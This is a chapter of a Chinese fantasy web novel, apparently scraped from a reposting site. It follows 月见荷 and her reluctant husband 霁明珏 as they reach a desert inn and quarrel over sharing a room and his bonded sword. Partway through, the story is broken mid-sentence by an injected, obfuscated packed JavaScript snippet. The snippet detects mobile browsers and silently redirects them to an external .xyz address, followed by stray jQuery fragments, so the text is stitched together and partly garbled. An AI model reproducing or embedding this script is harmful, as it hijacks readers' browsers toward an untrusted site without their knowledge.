13. 通感
作品:《妻子在修无情道》 苦厄地。
黄沙途畔,月见荷与霁明珏行走在如金浪般的黄沙中。
翻涌的金浪掩去了道路,远方的黄昏与黄沙融为一体,仿佛天地间只剩孤寂。
“这是第几处龙墓了?”月见荷步履平稳地走在黄沙中,轻轻挥袖将吹到眼前的沙尘散去。
霁明珏从袖中拿起书册,皱了皱眉一目十行地阅完,说道:“第二十八处。”
“怎么才第二十八处?”月见荷的语气染上了浓重的怨念,这几日无论她怎么问,系统就是死活不肯告诉她瑶光令究竟在哪一座龙墓中,趁着瞳怜闭关,这一月来,她连夜在幻月湖领地中的龙墓里翻找,一个一个探去,都没能找到瑶光令的下落。
不得不说,这老玄龙实在是太能修墓了,而且不止爱修墓,还喜欢在墓中布上各种千奇百怪的机关阵法,好在她出门时带了一个还算有用的仆人,一剑斩去,龙墓中的机关就被破坏的差不多了。
不过她紧赶慢赶,花了一个月也才查完了幻月湖领地范围内的龙墓。
接下来要去地狱岛了。
月见荷望着黄沙途与天相接的远方,哀怨地叹了口气,随后突然在黄沙中躺下,一动不动。
再往前走,越过黄沙途,就要到地狱岛的范围了。
隔着无边无际的黄沙,她都能闻到罗丰身上那股恶臭味。
“你又怎么了?”霁明珏掩去眉间的不耐烦,伸手掸落青衫上的沙尘,露出的手腕上套着一枚玉镯。
跟着月见荷出门真是麻烦死了。
尤其是这枚玉镯,出门前月见荷几乎是逼迫性地让他戴上。
说什么怕他死在苦厄地。
他只觉得她是在担心他半路逃走。
“困了,累了,乏了,不想走了。”月见荷闭上双眼,准备就地睡上一觉,这半月来,她恨不得一天当作三天用,闭上双眼的次数屈指可数,马上就要踏入地狱岛范围了,她决定还是先养精蓄锐一番。
霁明珏:“……”
他摊开苦厄地的路观图,对着月见荷无奈道:“黄沙途的尽头有一处客栈,你就不能多走几步?”
月见荷摇摇头:“不能,除非你带着我飞过去。”
霁明珏嘴角不受控制地抽搐,咬牙道:“你自己不能飞吗?”
“夫君啊,来之前我就曾与你说过,我作为浮荒之主,一旦在苦厄地中动用灵力,立马就会被瞳怜察觉,你怎么又忘记了呢。”
他闭上眼,在心中忍了又忍,自来到苦厄地,月见荷就以在苦厄地动用灵力会被瞳怜察觉为借口,在这一个月里对他颐指气使,不是指挥着他去龙墓做贼,就是指挥他用道剑带着她御剑飞行。
霁明珏以剑入道,本命剑与其通感,每当月见荷踩上道剑的时候,他总能感觉到脊椎处传来一阵后酥麻的凉意,让他有一种说不清道不明的异样感。
二人在黄沙中僵持了半晌,最终霁明珏还是无奈的对月见荷伸出手,道:“上来吧。”
听到霁明珏松口,月见荷立马从黄沙中爬起,提起衣摆轻盈一跃,稳稳地踩在道剑上,又一手抱住霁明珏的手臂,笑意盈盈道:“再给我身上丢个除尘术呗?”
“我不是教过你了吗?”霁明珏眉头直跳,手指在袖中蜷起,试图压制住脊椎处不断传来的异样酥麻感。
“我学不会。”
他心中冷笑,什么学不会,分明就是懒,再说了动用除尘术的那点微弱灵力,也根本不可能会让妖主察觉。
“快一点!”见霁明珏半天没有动作,她忍不住催促道。
霁明珏垂下眼,目光扫向月见荷,连日奔波于数个龙墓中,她那身霜雪色的衣衫也染上了不少尘埃,一阵风吹过,又将霜雪染上黄沙。
“给你了!”他不情不愿地捏出一个除尘咒术的符文往月见荷身上一砸,调整好呼吸,不再理会她的其他无理要求,御起道剑径直往黄沙途对岸的沉戟阁赶去。
·
黄沙途畔,寸草不生的土地上静静伫立着一座木楼,斑驳的岁月在其上留下了数不清的痕迹。
门楣上挂着一块破旧的牌匾,上提‘沉戟’二字,提笔写字之人看起来应当颇有文化,将这带着折戟沉沙意味的二字写的分外雅致。檐下悬挂着数盏燃着幽幽绿光的青灯,一阵风吹过,在腐朽的木墙上投射出摇曳的灯影。
沉戟阁近在眼前,霁明珏从道剑上一跃而下,但等了许久,月见荷仍是赖在道剑上不愿意下来。
“沉戟阁已经到了。”霁明珏提醒道。
“我知道啊。”月见荷不情不愿地从道剑上跃下,一踏入地狱岛范围,她便能闻见罗丰身上那股恶臭味。
她用衣袖掩住鼻子,屏住呼吸问霁明珏道:“你们云涯有没有什么能让人暂时失去嗅觉的术法?”
霁明珏摇头:“没有。”
他没有说谎,云涯仙术众多,但确实没有能让人暂时失去嗅觉的术法。
月见荷不动了。
她站在黄沙途与地狱岛的交界处始终不肯踏出一步,就那样无声的与霁明珏僵持着。
霁明珏垂眼静静这位青霜台大小姐对视着,不知为何,她看起来对地狱岛颇为抗拒,最后,他还是再次败下阵了,从储物袋中翻找出一枚玉佩,扔给月见荷,道:“你把它挂在身上,能短时间内净化周身的空气。”
月见荷接过玉佩,放在鼻尖轻嗅了一下,闻到一股若有若无的雪松香,她颇为满意地将玉符挂在腰间,对霁明珏道:“走吧。”
·
愁眉苦脸的楼三娘守着许久未曾开张的客栈颇为哀怨,一声比一声重的叹息在屋内内荡开,将本就枯朽的木楼浸染得更为腐败。
最近苦厄地怪事频发,自妖主瞳怜闭关后,地狱岛就不太平了,最开始只是失踪一些尚未开智的妖兽,后来是一些妖力低微的小妖,直到近日,月族的小公子在地狱岛莫名失踪,月族圣女将亲访地狱岛查探亲弟下落,这才闹得整个地狱岛人心惶惶。
地狱岛人心不安,妖鬼们不敢再来,楼三娘的客栈也数月未有灵石进账了,她正犹豫着要不要将客栈换个位置时,两道人影踏入了大厅内。
空气中传来的的雪松香悠悠然飘进楼三娘的鼻翼中,她陶醉地嗅了好几下空气,心道:这是来贵客了?
楼三娘立刻收起哀怨的神色,换上一副谄媚的笑容,抬眼望去,只见一位身着青竹色外袍,内搭着雪色纱衣的公子持着长剑站在门外,剑不出鞘,却能压住滚滚黄沙不得翻涌。身旁站着一位霜雪色银边长裙的女郎,许时在黄沙中走了许久的缘故,裙摆沾上了不少金色沙粒,在女郎步履翩跹中荡成一朵盛放的花。
“住宿,把你这里最好的一间屋子收拾出来给我们。”月见荷笑意盈盈,随后示意霁明珏去付灵石。
“两间。”霁明珏对着老板娘纠正道,“要隔得远一些。”
“一间!”月见荷怒瞪着他,欲要发作。
楼三娘在这苦厄地开了数百年的客栈,来来往往的人数不胜数,各色各样的人她都见过,她一眼就断定这是对正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697063|172746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在闹别扭的小夫妻,眼珠子滴溜一转,本着成人之美的好意,故作无奈道:“女郎与公子来的不巧,最近苦厄地怪事频发,您也看到了我这木楼许久未曾修葺,如今也就勉强能收出一间房来,如女郎与公子不嫌弃就先勉强一晚?等到明日我家那出门的帮工回来,我让他给您二位再收拾一间出来如何?”
霁明珏按下心中的不耐,毕竟是妖鬼的地盘,总不能在此与月见荷生事,他调整好呼吸,对老板娘温声道:“那就一间吧,另外,如果无事就不要来打扰了。”
楼三娘忙不迭的将霁明珏手中的灵石拢入袖中,边对霁明珏挤眉弄眼道:“公子与女郎请放心,我绝不打扰二位春宵。”
什么春宵?
这只妖鬼在胡说些什么!
霁明珏脸色沉了沉,正欲解释,却又听见楼三娘道:“我瞧着公子与女郎应当是初次来到地狱岛,我还是提醒您二位一句,最近地狱岛不太平,入夜了最好不要出门。”
“是何种不太平?”月见荷轻轻出声,语调如轻柔的飞絮般落入楼三娘耳中,带着一股蛊惑的意味,楼三娘不知不觉中就将地狱岛最近发生诸多怪事说出。
“原来地狱岛最近竟然这般有趣啊。”月见荷轻笑道,“霁道君,看起来我们这一行并不会无聊了。”
说完便提步上楼,衣袖飘荡间带起一阵清风,将楼三娘从游离中召回。
楼三娘茫然的挠了挠脑袋,刚才发生了什么来着,好像是有一位公子与女郎前来投宿吧。
·
霁明珏不情不愿地跟着月见荷走进房中,见房间里只有一张床后便冷脸道:“你睡床,我睡地上。”
月见荷瞪大了眼睛,不可思议道:“你居然不愿意同我一起睡?”
“我为什么要同你一起睡?”霁明珏不解道。
“你我已经结为夫妻,睡在一起不是应该的吗?”
“我喜欢睡在地上!”霁明珏实在无法理解月见荷的脑回路,他索性往地上一坐,抱着剑闭眼假寐,不再理会她的喋喋不休。
霁明珏越是不理会她,她的玩心便越重,索性凑近他道:“我也很喜欢睡在地上,怎么办呢,霁道君?”
颈侧突然传来的轻柔吐息惊得霁明珏瞬间清醒,甫一睁眼,映入眼中的便是月见荷故作含情脉脉的桃花眼,他连忙从地上爬起,用剑将他与月见荷隔开,颤声道:“你又想做什么?”
月见荷伸手握住道剑,剑上传来的冰凉之意让他忍不住身躯一颤,慌忙平稳错乱地呼吸,劝解道:“这是妖鬼的地盘。”
“我知道啊。”月见荷觉得现在霁明珏的反应很奇怪,她明明都没有对他做什么,只不过是握住了他的剑而已。
她垂下眼来,目光投向道剑,突然说道:“夫君,我突然感到有些害怕,生怕半夜梦魇时被妖鬼将魂勾了去,既然夫君你不愿意与我同寝,不如便将你的剑借与我,让我抱着睡一晚,也好图个心里安稳。”说完不等霁明珏拒绝,便将道剑拽到手中。
本命剑脱手,霁明珏的语气分外急切:“还给我!”
月见荷仰起脸,脆生生道:“偏不。”
随后不等霁明珏拒绝,便抱着道剑躺到床塌上,将被褥扯在身上滚作一团,脑袋与本命剑一同埋了进去。
本命剑将月见荷轻柔的吐息传到他的尾椎处,霁明珏只感觉到身上一阵酥麻,他实在忍无可忍,咬牙道:“你将剑还给我,我与你同寝。”
可被褥里只传出月见荷懒洋洋的声音:“可我不愿意了。”